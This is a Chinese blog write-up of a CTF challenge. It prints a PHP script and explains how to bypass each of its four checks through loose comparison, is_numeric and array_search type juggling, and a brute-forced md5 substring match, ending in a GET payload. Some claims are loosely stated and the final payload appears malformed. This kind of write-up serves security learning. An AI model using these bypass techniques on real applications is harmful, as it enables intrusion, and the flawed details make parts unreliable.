LOFTER-网易轻博

对某CTF题目的一次解题过程
kerling 2017-03-27

这个 题目是一天朋友发给我的,先po代码

<?php

$l01o=0;

$o1l0=0;

$o10l=0;

$lo10=0;

if (isset($_GET['vhghf']))

{

        $vhghf = $_GET['vhghf'];

$vhghf=="1"?die("ha?"):NULL;

        switch ($vhghf)

        {

        case 0:

        case 1:

                $l01o=1;

                break;

        }

}

$dfgdf=(array)json_decode(@$_GET['dfgdf']);

if(is_array($dfgdf)){

    is_numeric(@$dfgdf["gvnghdjk"])?die("ha?"):NULL;

    if(@$dfgdf["gvnghdjk"]){

        ($dfgdf["gvnghdjk"]>2017)?$o1l0=1:NULL;

    }

if(is_array(@$dfgdf["uxcndffznb"])){

        if(count($dfgdf["uxcndffznb"])!==2 OR !is_array($dfgdf["uxcndffznb"][0])) die("ha?");

        $kghdhfghdfgbcvhgffg = array_search("ZCTF", $dfgdf["uxcndffznb"]);

        $kghdhfghdfgbcvhgffg===false?die("ha?"):NULL;

        foreach($dfgdf["uxcndffznb"] as $key=>$val){

            $val==="ZCTF"?die("ha?"):NULL;

        }

        $o10l=1;

}

}

$cdggjydcnfsdyjaq = $_GET['cdggjydcnfsdyjaq'];

if ($cdggjydcnfsdyjaq != '15562') {

if (strstr($cdggjydcnfsdyjaq, '2017ZCTF')) {

if (substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16)) {

$lo10=1;

}

}

}

if($l01o && $o1l0 && $o10l && $lo10){

    echo 'flag</br>';

}

var_dump($dfgdf["uxcndffznb"]);

?>

$l01o=0;

$o1l0=0;

$o10l=0;

$lo10=0;

可以看到这四个变量 分别代表四个值 大体上是需要四个数值均为一,即可完成

一段段代码来看下吧

第一段:

if (isset($_GET['vhghf']))

{

        $vhghf = $_GET['vhghf'];

$vhghf=="1"?die("ha?"):NULL;

        switch ($vhghf)

        {

        case 0:

        case 1:

                $l01o=1;

                break;

        }

}

主是在于vhgf==1上面 这里介绍两种方法 第一种是提交vhgf=1e 这利用的是科学计数法。第二种是vhgf=1[] 这是利用数组名字bypass掉,详情可以百度下php黑魔法。是关于弱类型的比较

$dfgdf=(array)json_decode(@$_GET['dfgdf']);

if(is_array($dfgdf)){

    is_numeric(@$dfgdf["gvnghdjk"])?die("ha?"):NULL;

    if(@$dfgdf["gvnghdjk"]){

        ($dfgdf["gvnghdjk"]>2017)?$o1l0=1:NULL;

    }

is_numeric一直是安全核心的重点,他有个比较出名的bypass方法,一直为多种注入提供了可利用的攻击手段

is_numeric(23333aa)==true

所以可以做到比较的bypass。

以此做到第二个变量赋值成功。



if(is_array(@$dfgdf["uxcndffznb"])){

        if(count($dfgdf["uxcndffznb"])!==2 OR !is_array($dfgdf["uxcndffznb"][0])) die("ha?");

        $kghdhfghdfgbcvhgffg = array_search("ZCTF", $dfgdf["uxcndffznb"]);

        $kghdhfghdfgbcvhgffg===false?die("ha?"):NULL;

        foreach($dfgdf["uxcndffznb"] as $key=>$val){

            $val==="ZCTF"?die("ha?"):NULL;

        }

        $o10l=1;

这段比较抽象了。

我给出的payload是这样的http://php.net/manual/zh/function.array-search.php

果 needle 在 haystack 中出现不止一次,则返回第一个匹配的键。

然而0是php的一种弱匹配类型。因此匹配到了0的位置忽略了[0]的['zctf'] 而选取到了[1]的[0],所以返回了1,然后因为弱类型(==),所以默认返回的int(1)==bool(true)

然后这个是我扣取出来的代码。根据题目 提交的需要是json格式。所以需要在line4下多一句

echo $json;



既是 dfgdf={"gvnghdjk":"23333aa","uxcndffznb":[["ZCTF"],0]}


$cdggjydcnfsdyjaq = $_GET['cdggjydcnfsdyjaq'];

if ($cdggjydcnfsdyjaq != '15562') {

if (strstr($cdggjydcnfsdyjaq, '2017ZCTF')) {

if (substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16)) {

$lo10=1;

}

}

}

这个就很简单了。首先定死了提交的数字不是15562,这样就不能直接提交(md5('15562')上去

接下来则是判断字符串之中需要有2017ZCTF,明显题目就是无脑的爆破了。。。   - - 

cdggjydcnfsdyjaq=x2017ZCTF24834

然后po上最后的payload:

vhghf=1[]&dfgdf{"gvnghdjk":"2333aaa","uxcndffznb[["ZCTF"],0]}&cdggjydcnfsdyjaq=x2017ZCTF24834

END。。




推荐文章
评论(0)
联系我们|招贤纳士|移动客户端|风格模板|官方博客
网易公司版权所有 ©1997-2018 浙公网安备 33010002000017号ICP备:浙B2-20090185-5增值电信业务经营许可证:浙B2-20090185
分享到
转载我的主页